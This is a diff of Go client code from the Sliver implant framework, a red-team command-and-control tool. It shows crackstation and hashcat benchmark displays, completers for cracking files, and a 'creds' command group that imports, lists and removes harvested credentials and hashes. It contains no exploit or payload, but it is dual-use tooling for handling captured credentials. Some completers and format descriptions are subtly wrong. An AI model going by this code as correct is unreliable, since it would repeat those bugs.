|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
|
||||
if 0 < len(cracker.CUDA) {
|
||||
for _, cuda := range cracker.CUDA {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
|
||||
}
|
||||
}
|
||||
if 0 < len(cracker.Metal) {
|
||||
for _, metal := range cracker.Metal {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
|
||||
}
|
||||
}
|
||||
if 0 < len(cracker.OpenCL) {
|
||||
for _, openCL := range cracker.OpenCL {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
}
|
||||
|
||||
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
|
||||
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
||||
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
|
||||
for hashType, speed := range cracker.Benchmarks {
|
||||
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/rsteube/carapace"
|
||||
)
|
||||
|
||||
func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
|
||||
}
|
||||
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, file := range hcstat2.Files {
|
||||
if file.Type != clientpb.CrackFileType_MARKOV_HCSTAT2 {
|
||||
continue
|
||||
}
|
||||
|
||||
results = append(results, file.Name)
|
||||
desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("hcstat2 files")
|
||||
})
|
||||
}
|
||||
|
||||
func CrackWordlistCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
|
||||
}
|
||||
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, file := range hcstat2.Files {
|
||||
if file.Type != clientpb.CrackFileType_WORDLIST {
|
||||
continue
|
||||
}
|
||||
|
||||
results = append(results, file.Name)
|
||||
createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
|
||||
desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("wordlists")
|
||||
})
|
||||
}
|
||||
|
||||
func CrackRulesCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
|
||||
}
|
||||
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, file := range hcstat2.Files {
|
||||
if file.Type != clientpb.CrackFileType_RULES {
|
||||
continue
|
||||
}
|
||||
|
||||
results = append(results, file.Name)
|
||||
createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
|
||||
desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("wordlists")
|
||||
})
|
||||
}
|
||||
|
||||
func byteCountSI(b int64) string {
|
||||
const unit = 1000
|
||||
if b < unit {
|
||||
return fmt.Sprintf("%d B", b)
|
||||
}
|
||||
div, exp := int64(unit), 0
|
||||
for n := b / unit; n >= unit; n /= unit {
|
||||
div *= unit
|
||||
exp++
|
||||
}
|
||||
return fmt.Sprintf("%.1f %cB",
|
||||
float64(b)/float64(div), "kMGTPE"[exp])
|
||||
}
|
||||
|
||||
func byteCountIEC(b int64) string {
|
||||
const unit = 1024
|
||||
if b < unit {
|
||||
return fmt.Sprintf("%d B", b)
|
||||
}
|
||||
div, exp := int64(unit), 0
|
||||
for n := b / unit; n >= unit; n /= unit {
|
||||
div *= unit
|
||||
exp++
|
||||
}
|
||||
return fmt.Sprintf("%.1f %ciB",
|
||||
float64(b)/float64(div), "KMGTPE"[exp])
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
# client/command/creds
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'creds' command group for the Sliver client console. Handlers map Cobra invocations to creds workflows such as ADD, hash types, RM, and select.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `add.go` – Adds credentials to the client store via interactive or flag-based input.
|
||||
- `commands.go` – Registers credential management commands and subcommands.
|
||||
- `creds.go` – Lists stored credentials and formats them for display.
|
||||
- `hash-types.go` – Enumerates supported hash types and their identifiers.
|
||||
- `rm.go` – Removes credentials by ID or filter from the store.
|
||||
- `select.go` – Selects credentials for use in other workflows, updating defaults.
|
||||
@@ -0,0 +1,213 @@
|
||||
package creds
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
const (
|
||||
UserColonHashNewlineFormat = "user:hash" // username:hash\n
|
||||
HashNewlineFormat = "hash" // hash\n
|
||||
CSVFormat = "csv" // username,hash\n
|
||||
)
|
||||
|
||||
// CredsCmd - Add new credentials.
|
||||
func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
collection, _ := cmd.Flags().GetString("collection")
|
||||
username, _ := cmd.Flags().GetString("username")
|
||||
plaintext, _ := cmd.Flags().GetString("plaintext")
|
||||
hash, _ := cmd.Flags().GetString("hash")
|
||||
hashTypeF, _ := cmd.Flags().GetString("hash-type")
|
||||
hashType := parseHashTypeString(hashTypeF)
|
||||
if plaintext == "" && hash == "" {
|
||||
con.PrintErrorf("Either a plaintext or a hash must be provided\n")
|
||||
return
|
||||
}
|
||||
if hashType == clientpb.HashType_INVALID {
|
||||
con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.CredsAdd(context.Background(), &clientpb.Credentials{
|
||||
Credentials: []*clientpb.Credential{
|
||||
{
|
||||
Collection: collection,
|
||||
Username: username,
|
||||
Plaintext: plaintext,
|
||||
Hash: hash,
|
||||
HashType: hashType,
|
||||
},
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCreds(creds.Credentials, con)
|
||||
}
|
||||
|
||||
// CredsCmd - Add new credentials.
|
||||
func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
collection, _ := cmd.Flags().GetString("collection")
|
||||
filePath := args[0]
|
||||
fileFormat, _ := cmd.Flags().GetString("file-format")
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
con.PrintErrorf("File '%s' does not exist\n", filePath)
|
||||
return
|
||||
}
|
||||
hashTypeF, _ := cmd.Flags().GetString("hash-type")
|
||||
hashType := parseHashTypeString(hashTypeF)
|
||||
if hashType == clientpb.HashType_INVALID {
|
||||
con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Parsing file '%s' as '%s' format ...\n", filePath, fileFormat)
|
||||
var creds *clientpb.Credentials
|
||||
var err error
|
||||
switch fileFormat {
|
||||
case UserColonHashNewlineFormat:
|
||||
creds, err = parseUserColonHashNewline(filePath, hashType)
|
||||
case HashNewlineFormat:
|
||||
creds, err = parseHashNewline(filePath, hashType)
|
||||
case CSVFormat:
|
||||
creds, err = parseCSV(filePath, hashType)
|
||||
default:
|
||||
con.PrintErrorf("Invalid file format '%s', see 'creds add file --help'\n", fileFormat)
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
for _, cred := range creds.Credentials {
|
||||
cred.Collection = collection
|
||||
}
|
||||
con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials))
|
||||
_, err = con.Rpc.CredsAdd(context.Background(), creds)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCreds(creds.Credentials, con)
|
||||
}
|
||||
|
||||
func parseHashType(raw string) clientpb.HashType {
|
||||
hashInt, err := strconv.Atoi(raw)
|
||||
if err == nil {
|
||||
return clientpb.HashType(hashInt)
|
||||
}
|
||||
return clientpb.HashType_INVALID
|
||||
}
|
||||
|
||||
// same as parseHashType, but use the string representation.
|
||||
func parseHashTypeString(raw string) clientpb.HashType {
|
||||
if hashType, valid := clientpb.HashType_value[raw]; valid {
|
||||
return clientpb.HashType(hashType)
|
||||
}
|
||||
|
||||
return clientpb.HashType_INVALID
|
||||
}
|
||||
|
||||
func parseUserColonHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
creds := &clientpb.Credentials{}
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
|
||||
Username: parts[0],
|
||||
Hash: parts[1],
|
||||
HashType: hashType,
|
||||
})
|
||||
}
|
||||
return creds, nil
|
||||
}
|
||||
|
||||
func parseHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
creds := &clientpb.Credentials{}
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
|
||||
Hash: line,
|
||||
HashType: hashType,
|
||||
})
|
||||
}
|
||||
return creds, nil
|
||||
}
|
||||
|
||||
func parseCSV(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
creds := &clientpb.Credentials{}
|
||||
scanner.Scan() // skip header
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
parts := strings.Split(line, ",")
|
||||
if len(parts) < 2 {
|
||||
continue
|
||||
}
|
||||
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
|
||||
Username: parts[0],
|
||||
Hash: parts[1],
|
||||
HashType: hashType,
|
||||
})
|
||||
}
|
||||
return creds, nil
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
package creds
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
credsCmd := &cobra.Command{
|
||||
Use: consts.CredsStr,
|
||||
Short: "Manage the database of credentials",
|
||||
Long: help.GetHelpFor([]string{consts.CredsStr}),
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CredsCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("creds", true, credsCmd, func(f *pflag.FlagSet) {
|
||||
f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
credsAddCmd := &cobra.Command{
|
||||
Use: consts.AddStr,
|
||||
Short: "Add a credential to the database",
|
||||
Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CredsAddCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, credsAddCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("collection", "c", "", "name of collection")
|
||||
f.StringP("username", "u", "", "username for the credential")
|
||||
f.StringP("plaintext", "p", "", "plaintext for the credential")
|
||||
f.StringP("hash", "P", "", "hash of the credential")
|
||||
f.StringP("hash-type", "H", "", "hash type of the credential")
|
||||
})
|
||||
flags.BindFlagCompletions(credsAddCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
|
||||
})
|
||||
credsCmd.AddCommand(credsAddCmd)
|
||||
|
||||
credsAddFileCmd := &cobra.Command{
|
||||
Use: consts.FileStr,
|
||||
Short: "Add a credential to the database",
|
||||
Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr, consts.FileStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CredsAddHashFileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, credsAddFileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("collection", "c", "", "name of collection")
|
||||
f.StringP("file-format", "F", HashNewlineFormat, "file format of the credential file")
|
||||
f.StringP("hash-type", "H", "", "hash type of the credential")
|
||||
})
|
||||
flags.BindFlagCompletions(credsAddFileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["collection"] = CredsCollectionCompleter(con)
|
||||
(*comp)["file-format"] = CredsHashFileFormatCompleter(con)
|
||||
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
|
||||
})
|
||||
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
|
||||
credsAddCmd.AddCommand(credsAddFileCmd)
|
||||
|
||||
credsRmCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
Short: "Remove a credential to the database",
|
||||
Long: help.GetHelpFor([]string{consts.CredsStr, consts.RmStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CredsRmCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
carapace.Gen(credsRmCmd).PositionalCompletion(CredsCredentialIDCompleter(con).Usage("id of credential to remove (leave empty to select)"))
|
||||
credsCmd.AddCommand(credsRmCmd)
|
||||
|
||||
return []*cobra.Command{credsCmd}
|
||||
}
|
||||
@@ -0,0 +1,181 @@
|
||||
package creds
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// CredsCmd - Manage credentials.
|
||||
func CredsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(creds.Credentials) == 0 {
|
||||
con.PrintInfof("No credentials 🙁\n")
|
||||
return
|
||||
}
|
||||
PrintCreds(creds.Credentials, con)
|
||||
}
|
||||
|
||||
func PrintCreds(creds []*clientpb.Credential, con *console.SliverClient) {
|
||||
collections := make(map[string][]*clientpb.Credential)
|
||||
for _, cred := range creds {
|
||||
collections[cred.Collection] = append(collections[cred.Collection], cred)
|
||||
}
|
||||
for collection, creds := range collections {
|
||||
printCollection(collection, creds, con)
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
|
||||
func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if collection != "" {
|
||||
tw.SetTitle(console.Bold + collection + console.Normal)
|
||||
} else {
|
||||
tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
|
||||
}
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Username",
|
||||
"Plaintext",
|
||||
"Hash",
|
||||
"Hash Type",
|
||||
"Cracked",
|
||||
})
|
||||
for _, cred := range creds {
|
||||
tw.AppendRow(table.Row{
|
||||
strings.Split(cred.ID, "-")[0],
|
||||
cred.Username,
|
||||
cred.Plaintext,
|
||||
cred.Hash,
|
||||
cred.HashType,
|
||||
cred.IsCracked,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// CredsHashTypeCompleter completes hash types.
|
||||
func CredsHashTypeCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := make([]string, 0)
|
||||
|
||||
for hashType, desc := range hashTypes {
|
||||
results = append(results, hashType)
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("hash types")
|
||||
})
|
||||
}
|
||||
|
||||
// CredsHashFileFormatCompleter completes file formats for hash-files.
|
||||
func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionValuesDescribed(
|
||||
UserColonHashNewlineFormat, "One hash per line.",
|
||||
HashNewlineFormat, "A file containing lines of 'username:hash' pairs.",
|
||||
CSVFormat, "A CSV file containing 'username,hash' pairs (additional columns ignored).",
|
||||
).Tag("hash file formats")
|
||||
}
|
||||
|
||||
// CredsCollectionCompleter completes existing creds collection names.
|
||||
func CredsCollectionCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := make([]string, 0)
|
||||
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
|
||||
}
|
||||
if len(creds.Credentials) == 0 {
|
||||
return carapace.Action{}
|
||||
}
|
||||
|
||||
for _, cred := range creds.Credentials {
|
||||
if cred.Collection != "" {
|
||||
results = append(results, cred.Collection)
|
||||
}
|
||||
}
|
||||
|
||||
return carapace.ActionValues(results...).Tag("creds collections")
|
||||
})
|
||||
}
|
||||
|
||||
// CredsCredentialIDCompleter completes credential IDs.
|
||||
func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := make([]string, 0)
|
||||
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
|
||||
}
|
||||
if len(creds.Credentials) == 0 {
|
||||
return carapace.Action{}
|
||||
}
|
||||
|
||||
for _, cred := range creds.Credentials {
|
||||
results = append(results, cred.ID)
|
||||
|
||||
var hostID string
|
||||
if cred.OriginHostUUID != "" {
|
||||
if len(cred.OriginHostUUID) > 8 {
|
||||
hostID = cred.OriginHostUUID[8:]
|
||||
} else {
|
||||
hostID = cred.OriginHostUUID
|
||||
}
|
||||
} else {
|
||||
hostID = "None"
|
||||
}
|
||||
|
||||
var username string
|
||||
if cred.Username != "" {
|
||||
username = fmt.Sprintf(" (user: %s)", cred.Username)
|
||||
}
|
||||
|
||||
var cracked string
|
||||
if cred.IsCracked {
|
||||
cracked = "[C]"
|
||||
} else {
|
||||
cracked = "[ ]"
|
||||
}
|
||||
|
||||
desc := fmt.Sprintf("[Host: %s] ( %s ) %s%s", hostID, cred.HashType.String(), cracked, username)
|
||||
results = append(results, desc)
|
||||
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("credentials")
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
package creds
|
||||
|
||||
// List of all available hash-types, for completions.
|
||||
// Unfortunately this list has to be maintained manually,
|
||||
// until someone devises a way to do so automatically.
|
||||
var hashTypes = map[string]string{
|
||||
"MD5": "MD5", // Enum 0 in proto file.
|
||||
|
||||
"MD4": "MD4",
|
||||
"SHA1": "SHA1",
|
||||
"SHA2_224": "SHA2-224",
|
||||
"SHA2_256": "SHA2-256",
|
||||
"SHA2_384": "SHA2-384",
|
||||
"SHA2_512": "SHA2-512",
|
||||
"SHA3_224": "SHA3-224",
|
||||
"SHA3_256": "SHA3-256",
|
||||
"SHA3_384": "SHA3-384",
|
||||
"SHA3_512": "SHA3-512",
|
||||
"RIPEMD_160": "RIPEMD-160",
|
||||
"BLAKE2B_256": "BLAKE2b-512",
|
||||
"GOST_R_32_11_2012_256": "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
|
||||
"GOST_R_32_11_2012_512": "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
|
||||
"GOST_R_34_11_94": "GOST R 34.11-94",
|
||||
"GPG": "GPG (AES-128/AES-256 (SHA-1($pass)))",
|
||||
"HALF_MD5": "Half MD5",
|
||||
"KECCAK_224": "Keccak-224",
|
||||
"KECCAK_256": "Keccak-256",
|
||||
"KECCAK_384": "Keccak-384",
|
||||
"KECCAK_512": "Keccak-512",
|
||||
"WHIRLPOOL": "Whirlpool",
|
||||
"SIPHASH": "SipHash",
|
||||
"MD5_UTF16LE": "md5(utf16le($pass))",
|
||||
"SHA1_UTF16LE": "sha1(utf16le($pass))",
|
||||
"SHA256_UTF16LE": "sha256(utf16le($pass))",
|
||||
"SHA384_UTF16LE": "sha384(utf16le($pass))",
|
||||
"SHA512_UTF16LE": "sha512(utf16le($pass))",
|
||||
"BLAKE2B_512_PW_SALT": "BLAKE2b-512($pass.$salt)",
|
||||
"BLAKE2B_512_SALT_PW": "BLAKE2b-512($salt.$pass)",
|
||||
"MD5_PW_SALT": "md5($pass.$salt)",
|
||||
"MD5_SALT_PW": "md5($salt.$pass)",
|
||||
"MD5_SALT_PW_SALT": "md5($salt.$pass.$salt)",
|
||||
"MD5_SALT_MD5_PW": "md5($salt.md5($pass))",
|
||||
|
||||
// ... TODO fill in the rest ...,
|
||||
|
||||
"CRC32": "CRC32",
|
||||
"CRC32C": "CRC32B",
|
||||
"CRC64Jones": "CRC64-Jones",
|
||||
"JAVA_OBJECT": "Java object",
|
||||
"MURMUR": "MurmurHash",
|
||||
"MURMUR3": "MurmurHash3",
|
||||
"THREE_DES": "3DES (PT = $salt, key = $pass)",
|
||||
"DES": "DES (PT = $salt, key = $pass)",
|
||||
"AES_128_ECB": "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"AES_192_ECB": "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"AES_256_ECB": "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"CHA_CHA_20": "ChaCha20",
|
||||
"LINUX_KERNEL_CRYPTO_API_24": "Linux Kernel Crypto API (2.4)",
|
||||
"SKIP_32": "Skip32 (PT = $salt, key = $pass)",
|
||||
"PBKDF2_HMAC_MD5": "PBKDF2-HMAC-MD5",
|
||||
"PBKDF2_HMAC_SHA1": "PBKDF2-HMAC-SHA1",
|
||||
"PBKDF2_HMAC_SHA256": "PBKDF2-HMAC-SHA256",
|
||||
"PBKDF2_HMAC_SHA512": "PBKDF2-HMAC-SHA512",
|
||||
"SCRYPT": "scrypt",
|
||||
"PHPASS": "phpass",
|
||||
"TACACS_PLUS": "TACACS+",
|
||||
"SIP_DIGEST": "SIP digest authentication (MD5)",
|
||||
"IKE_MD5": "IKE-PSK MD5",
|
||||
"IKE_SHA1": "IKE-PSK SHA1",
|
||||
"SNMP_V3_HMAC_MD5_96": "SNMPv3 HMAC-MD5-96",
|
||||
"SNMP_V3_HMAC_MD5_96__SHA1_96": "SNMPv3 HMAC-MD5-96 / HMAC-SHA1-96",
|
||||
"SNMP_V3_HMAC_SHA1_96": "SNMPv3 HMAC-SHA1-96",
|
||||
"SNMP_V3_HMAC_SHA224_128": "SNMPv3 HMAC-SHA224-128",
|
||||
"SNMP_V3_HMAC_SHA256_192": "SNMPv3 HMAC-SHA256-192",
|
||||
"SNMP_V3_HMAC_SHA384_256": "SNMPv3 HMAC-SHA384-256",
|
||||
"SNMP_V3_HMAC_SHA512_384": "SNMPv3 HMAC-SHA512-384",
|
||||
"WPA_EAPOL_PBKDF2": "WPA-EAPOL-PBKDF2",
|
||||
